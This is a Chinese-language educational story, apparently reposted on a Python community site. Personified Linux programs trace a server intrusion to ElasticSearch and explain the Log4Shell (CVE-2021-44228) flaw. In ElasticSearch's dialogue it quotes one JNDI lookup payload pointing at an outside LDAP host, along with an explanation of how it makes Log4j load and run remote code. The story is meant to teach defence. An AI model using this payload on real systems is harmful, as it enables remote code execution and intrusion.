Py学习  »  Elasticsearch

服务器被入侵,ElasticSearch竟是内鬼!

IT服务圈儿 • 1 月前 • 51 次点击  
来源丨经授权转轩辕的编程宇宙(ID:xuanyuancoding)
作者轩辕之风

神秘的入侵

却说这一日,天刚蒙蒙亮,整个Linux帝国尚在沉睡之中,忽然,一声尖锐的警报打破宁静!

“报告部长!”安全检测中心传来急报,“我们发现了一条异常的外连请求,目标IP疑似恶意C2服务器,请立即处理!”

安全部长猛地睁眼,披上外套,召集众程序紧急开会。

会议室里一片寂静,top和ps看了一下,像上次一样,依然没有找到可疑的进程。

unhide站了出来:“我来试试”

不多时,unhide果然抓出了一个鬼鬼祟祟的进程,kill老哥,手起刀落,干脆利落地将其终结,随后删除了相关的可疑文件。

“这回干净了。”kill拍拍手。

可部长眉头紧锁:“没那么简单,这恶意程序是怎么进来的?”

众程序面面相觑,竟不约而同的把目光投向了一旁的Redis。

Redis吓得一个哆嗦:“不会又怀疑是我吧?上次的事我还心有余悸呢!我已经改了密码、关闭了远程访问,还天天盯着~/.ssh/authorized_keys看,真不是我!”

详情回顾:CPU深夜狂飙,Redis竟是内鬼!

部长看了他一眼,没有说话,转身吩咐:“所有程序,从现在起,排查各自日志,查清入侵路径!”

众程序如临大敌,纷纷动手翻阅各自的日志文件。

不一会儿,Nginx面露难色的说到:“不好了!我昨晚的日志,都被人给删除了!”

“我的也是”,tomcat也说到。

“还有我的也被删了”,MySQL也说到:“昨晚执行的查询记录全都不见了”。

会议室里的气氛跌到了冰点,看来这次遇到了硬茬了。

秘密武器

就在大家一筹莫展之际,防火墙凑到安全部长身边说到:“部长,咱还有秘密武器,要不让它试试?”

随后部长和防火墙起身离开,来到了安全检测中心,一个神秘的身影走了过来,定睛一看,头上写着:全流量安全分析系统NTSA

“部长,有什么可以为您效劳的”

“我要你查过去24小时内,所有的网络通信连接。”,部长说到。

“这可有点多,您稍等一下”,NTSA打开了庞大的流量日志界面。顿时,一屏幕的数据如潮水般涌出。

防火墙问到:“怎么这么多数据?”

“我名叫全流量安全分析系统,记录了系统过去一段时间内发生的所有网络通信连接,连原始数据包都一个不落的记录在案,所以数据自然是多了一点”,NTSA说到。

“你最大能记录多久的数据?”安全部长问到。

“这个不一定,取决于流量大小和存储空间,像咱们这里的情况,我存个1个月的数据应该问题不大”

部长没有说话,眼睛盯着屏幕上闪过的每一条数据,生怕漏掉了什么。

“这些都是HTTPS流量,加了密的,看不见内容,可惜了”,防火墙叹了口气。

“那也得看,必须把它揪出来”,部长咬牙说道。

大家盯着滚动的数据,一个个眼睛都看花了。

竟然是它

话分两头,会议室这边,众程序还在忙碌着。

“刚刚安全部长在,我不好问……你们的日志是真被删了,还是你们自己删的?”,Redis悄悄问到。

Nginx一听急了,“你这家伙不要乱扣帽子,上次你栽了跟头,这次想拉我们也下水吗?”

tomcat给了Redis一拳,恶狠狠的瞪了一眼,Redis连忙说到:“开个玩笑,别当真,嘿嘿”

突然,门“哐当”一声打开,安全部长带着防火墙回来了,脸色铁青。

“昨天晚上,谁使用过36560号端口与外面通信?”安全部长厉声问道。

众程序一听开始议论纷纷。

这时,防火墙补充:“昨天凌晨两点四十一分,本机的36560端口发起了一条外连,目标IP就是刚刚恶意程序连接的那个C2地址!”

众程序听后连连摇头,纷纷表示不是自己。最后,只见角落里一个身影慢慢举起了手,是ElasticSearch。

“不会吧,是你?”Nginx下意识地退了半步。

ElasticSearch面色苍白:“我想起来了,我昨晚收到一个查询请求,然后打了个日志logger.info("···{}", var),这个var的内容是${jndi:ldap://145.67.89.123:13389/Exploit},我连接这个地址的时候,用了一下36560号端口……”

“我昨晚可没给你发请求啊”,Tomcat赶紧撇清关系。

“你打印日志,为什么要发起网络连接?还有,这个JNDI是个什么东西?”,部长有些生气地问道。

Tomcat起身说道:“这个我知道!这是Log4j的一个特性,我们Java家族的都知道,它可以在日志中解析JNDI表达式,并自动尝试加载远程对象……哎,你该不会中了Log4j的RCE漏洞了吧!”

“等等,听得有点糊涂,这是个什么漏洞?”,Nginx问到。

Tomcat解释道:“这个漏洞叫 Log4Shell,CVE 编号是 CVE-2021-44228。攻击者只要让一段特殊的字符串进入打印日志的地方,就能远程触发 Log4j 加载并执行恶意代码。”

见众程序还是一头雾水,Tomcat继续补充:“我们Java中的对象不仅可以存在于内存中,还可以被序列化成字节流,也能通过 class 文件反序列化还原成对象。当你加载一个远程类时,就会去那个地址拉下一个 .class 文件,然后执行里面的构造方法。所以只要攻击者构造一个带恶意代码的类,放在他控制的服务器上,Log4j一连接上去就会自动下载这个类,并在你机器上执行恶意代码了,这下明白了吧”

众程序总算听明白了,部长怒视着ElasticSearch:“你为什么会对外提供访问?防火墙没有禁掉9200端口吗?”

防火墙一听赶紧查询了一下历史记录:“报告部长,前几天,有个刚入职两周半的实习生,为了方便测试接口,就直接在我这加了条放行规则,把9200端口开放出去了……后面就忘记给关上。”

一听这话,全场哗然!

部长沉默片刻,缓缓开口:“马上封锁9200端口,ElasticSearch,你赶紧把Log4j版本升级一下。同时,把这次事件写成安全通报,在Linux帝国全网通报!”

工作部署完毕,众程序散去,这场危机总算解除了。

安全部长抬头望去,清晨的第一缕阳光刚刚照进了机房,新的一天开始了。

彩蛋

“部长!不好了!”

“又怎么了?”

“MySQL 的数据……全被加密了!”

“什么?!”

(未完待续)


1、人工智能三巨头联袂推荐,这本经典巨著出中文版了!(文末送书)
2、编程神器Cursor重磅发布 1.0 版本!编程圈要变天(文末送书)
3、谁能想到?TP-Link 提前批开奖了!
4、2025 程序员高考试卷,看看你能做对几题?
5、 笑死我了,这个 5 个 GitHub 项目太抽象了。

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/183518
 
51 次点击